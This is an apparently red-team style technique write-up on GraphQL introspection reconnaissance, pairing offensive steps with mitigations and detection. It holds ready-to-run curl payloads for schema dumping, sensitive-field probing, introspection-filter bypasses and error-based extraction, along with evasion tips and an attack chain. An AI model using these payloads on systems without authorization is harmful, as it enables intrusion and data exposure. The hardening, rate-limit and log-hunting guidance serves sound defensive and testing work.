| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-001 |
| MITRE ATT&CK v18.1 | T1590 - Gather Victim Network Information |
| Tactic | Reconnaissance |
| Platforms | M365/Entra ID, SaaS Platforms, Cloud APIs |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All GraphQL implementations with introspection enabled |
| Patched In | N/A (requires configuration changes, not patched) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: GraphQL API enumeration is a reconnaissance technique that leverages the introspection feature built into GraphQL APIs to automatically discover and extract the complete schema definition. Unlike REST APIs where endpoints must be manually discovered, GraphQL exposes its schema structure through a standardized introspection query mechanism (__schema), allowing an attacker to rapidly understand the entire attack surface of an application without authentication.
Attack Surface: GraphQL introspection queries, specifically the __schema and __type root fields available on all GraphQL servers.
Business Impact: Schema disclosure enables attackers to identify sensitive data fields, hidden mutations, experimental features, and authentication mechanisms. This reconnaissance directly reduces attacker effort for subsequent exploitation attempts and provides a roadmap for privilege escalation, data exfiltration, and unauthorized modification attacks.
Technical Context: GraphQL introspection queries can be executed in seconds and return verbose schema metadata including field names, descriptions, arguments, types, and return values. Discovery is non-destructive, leaves minimal audit trails, and requires no special privileges if introspection is enabled (a common default configuration).
__schema queries can be statistically anomalous.| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS CSC 14 | Secure and Manage Sensitive API Documentation |
| DISA STIG | SI-4(1) | Information System Monitoring – System Monitoring |
| CISA SCuBA | API-01 | Disable GraphQL Introspection in Production |
| NIST 800-53 | CA-3 | System Interconnections (API Design & Disclosure) |
| GDPR | Art. 32 | Security of Processing (API Schema Confidentiality) |
| DORA | Art. 6 | Information and Communication Technology (ICT) security risk management |
| NIS2 | Art. 21 | Multi-layered Preventive Measures (Asset Inventory) |
| ISO 27001 | A.14.1.2 | Change Management (API endpoint management) |
| ISO 27005 | Risk Scenario | Unauthorized disclosure of API schema leading to targeted attack planning |
Required Privileges: None – Introspection typically requires no authentication.
Required Access: Network access to the GraphQL endpoint (typically HTTP/HTTPS port 443).
Supported Versions: GraphQL 2019 specification and later (all modern GraphQL implementations).
Tools:
Step 1: Probe for GraphQL Endpoint
curl -s https://target-api.example.com/graphql -X POST \
-H "Content-Type: application/json" \
-d '{"query":"query{__schema{queryType{name}}}"}' | jq .
What to Look For:
data and __schema fields indicates introspection is enabled.Success Indicator: Response contains "data":{"__schema":{"queryType":{"name":"Query"}}} or similar.
Supported Versions: All GraphQL implementations with introspection enabled.
Objective: Confirm introspection is enabled and identify top-level query types.
Command (cURL):
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { __schema { queryType { name fields { name } } } }"
}' | jq .
Expected Output:
{
"data": {
"__schema": {
"queryType": {
"name": "Query",
"fields": [
{ "name": "user" },
{ "name": "posts" },
{ "name": "search" }
]
}
}
}
}
What This Means:
queryType.name identifies the root query object (typically “Query”).fields lists all publicly available queries without authentication.OpSec & Evasion:
__schema queries within short timeframes are anomalous.Troubleshooting:
Cannot query field "__schema"
/api/graphql, /query, /gql).curl ... -H "Authorization: Bearer <token>".References & Proofs:
Objective: Retrieve the full schema with all types, fields, arguments, and return types.
Full Introspection Query:
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query IntrospectionQuery { __schema { types { kind name description fields(includeDeprecated: true) { name type { kind name ofType { kind name } } description args { name type { kind } } } enumValues { name } possibleTypes { name } } } }"
}' | jq . > schema.json
Expected Output: A massive JSON file (often 10KB-100KB+) containing:
What This Means:
OpSec & Evasion:
> schema.json) avoids large responses in terminal logs.References & Proofs:
Objective: Discover sensitive queries/mutations that should require authentication but may not.
Reconnaissance Query:
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(id: \"123\") { id email password phoneNumber roles { name permissions } internalNotes } posts(first: 100) { id content author { email } comments { id text } } }"
}'
What to Look For:
References & Proofs:
Supported Versions: GraphQL servers with regex-based or basic introspection filters.
Objective: Defeat simple regex-based introspection blockers that match literal __schema patterns.
Bypass Techniques:
# Attempt 1: Newline bypass
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { __schema\n { queryType { name } } }"
}'
# Attempt 2: Tab character bypass
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { __schema\t { queryType { name } } }"
}'
# Attempt 3: Comma-based bypass (GraphQL ignores leading commas)
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { ,__schema { queryType { name } } }"
}'
What This Means:
Detection likelihood: Medium – Alternative HTTP methods (GET instead of POST) or unusual character encodings may be logged.
Objective: Bypass POST-only introspection restrictions using GET requests.
Command:
curl -s "https://target-api.example.com/graphql?query=query%7B__schema%7BqueryType%7Bname%7D%7D%7D"
What This Means:
References & Proofs:
Objective: Extract schema information from error messages when introspection is completely disabled.
Command:
# Query a non-existent field to trigger error
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { doesNotExist { subfield } }"
}'
# Attempt to cause a schema validation error
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(invalidArg: \"test\") { id } }"
}'
Expected Output (Verbose Errors):
{
"errors": [
{
"message": "Cannot query field \"doesNotExist\" on type \"Query\". Did you mean \"user\" or \"posts\" or \"search\"?",
"suggestions": ["user", "posts", "search"]
}
]
}
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All GraphQL implementations.
Objective: Intercept and analyze GraphQL requests with Burp’s built-in GraphQL support.
Manual Configuration Steps (Burp Suite Professional 2024.1+):
https://target-api.example.com/graphql.Or use the introspection query directly in Burp Repeater:
Command (using introspection query output):
# Save schema to file
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d @introspection-query.json | jq . > schema.json
# Parse schema with GraphQL CLI
npx graphql-cli introspect https://target-api.example.com/graphql --write schema.graphql
# Visualize with Voyager
npx apollo client:download-schema --endpoint=https://target-api.example.com/graphql schema.graphql
What This Means:
References & Proofs:
Version: 7.0+ (all modern versions support JSON POST)
Installation:
# Linux/macOS
brew install curl # or apt-get install curl
# Windows
choco install curl
Usage:
curl -X POST https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query { __schema { types { name } } }"}'
Version: 10.0+ (native GraphQL support)
Installation: Download from Postman
Usage:
Version: 2.0+ (latest)
Installation:
npm install -g graphql-voyager
Usage:
# Start local Voyager server to visualize schema
npx graphql-voyager https://target-api.example.com/graphql
Output: Interactive visualization of schema types, relationships, and fields in browser (localhost:3001).
Version: 2024.1+ (GraphQL support)
Installation: Download from PortSwigger
Built-in GraphQL Features:
Disable GraphQL Introspection in Production: Prevent the __schema query from returning schema metadata.
Manual Steps (Apollo Server):
apollo-server.js or index.js configuration file.const server = new ApolloServer({
typeDefs,
resolvers,
introspection: false, // DISABLE INTROSPECTION
debug: false // DISABLE DEBUG MODE
});
Manual Steps (Express + GraphQL-JS):
const { buildSchema } = require('graphql');
const { NoSchemaIntrospectionCustomRule } = require('graphql');
app.post('/graphql', graphqlHTTP(req => ({
schema: buildSchema(typeDefs),
rootValue: resolvers,
customRules: [NoSchemaIntrospectionCustomRule], // BLOCK INTROSPECTION
})));
Manual Steps (Other GraphQL Servers):
introspection: disabled or GRAPHQL_INTROSPECTION=false environment variable.Implement Authentication & Authorization on All Fields: Require valid credentials for any sensitive data.
Manual Steps:
const resolvers = {
Query: {
user: (_, { id }, context) => {
if (!context.user) throw new Error("Unauthorized");
return getUserById(id);
}
}
};
Enable Rate Limiting on GraphQL Endpoint: Prevent rapid reconnaissance queries from succeeding.
Manual Steps (API Gateway - AWS API Gateway):
100 requests/second and Burst Limit to 5000.Manual Steps (Nginx Reverse Proxy):
limit_req_zone $binary_remote_addr zone=graphql_limit:10m rate=10r/s;
server {
location /graphql {
limit_req zone=graphql_limit burst=20 nodelay;
proxy_pass http://graphql_backend;
}
}
Implement Query Depth and Complexity Limits: Prevent attackers from requesting deeply nested queries.
Manual Steps (Apollo Server):
import { createComplexityLimitRule } from 'graphql-validation-complexity';
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [
createComplexityLimitRule({ maxComplexity: 1000 })
]
});
Disable Verbose Error Messages: Hide schema details from error responses.
Manual Steps (Apollo Server):
const server = new ApolloServer({
typeDefs,
resolvers,
formatError: (error) => {
if (process.env.NODE_ENV === 'production') {
return { message: "Internal Server Error" };
}
return error;
}
});
curl -s https://target-api.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query{__schema{queryType{name}}}"}' | jq .
Expected Output (If Secure):
{
"errors": [
{
"message": "Cannot query field \"__schema\" on type \"Query\"."
}
]
}
What to Look For:
__schema is not a valid query field.data field in response (only errors).__schema, __type, or introspection keywords.__schema queries.aws wafv2 update-ip-set --name graphql-blocklist --scope REGIONAL --id <id> --addresses "[\"<attacker-ip>\"]"aws logs get-log-events --log-group-name /aws/apigateway/graphql --log-stream-name <stream>Search-UnifiedAuditLog -Operations "InvokeWebRequest" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -FreeText "__schema" | Export-Csv -Path "C:\Evidence\GraphQL_Recon.csv"
What to Analyze:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [SAAS-API-001] | GraphQL API Enumeration – Discover schema and available operations |
| 2 | Exploitation | [SAAS-API-002] | REST API Rate Limit Bypass – Abuse endpoints discovered via enumeration |
| 3 | Credential Access | [CA-UNSC-014] | SaaS API Key Exposure – Extract hardcoded keys from discovered mutations |
| 4 | Privilege Escalation | [PE-ACCTMGMT-001] | App Registration Permissions Escalation – Use discovered OAuth mutations |
| 5 | Impact | [IMPACT-001] | Unauthorized Data Access – Query sensitive fields discovered in schema |
/graphql endpoint.__schema, __type fields).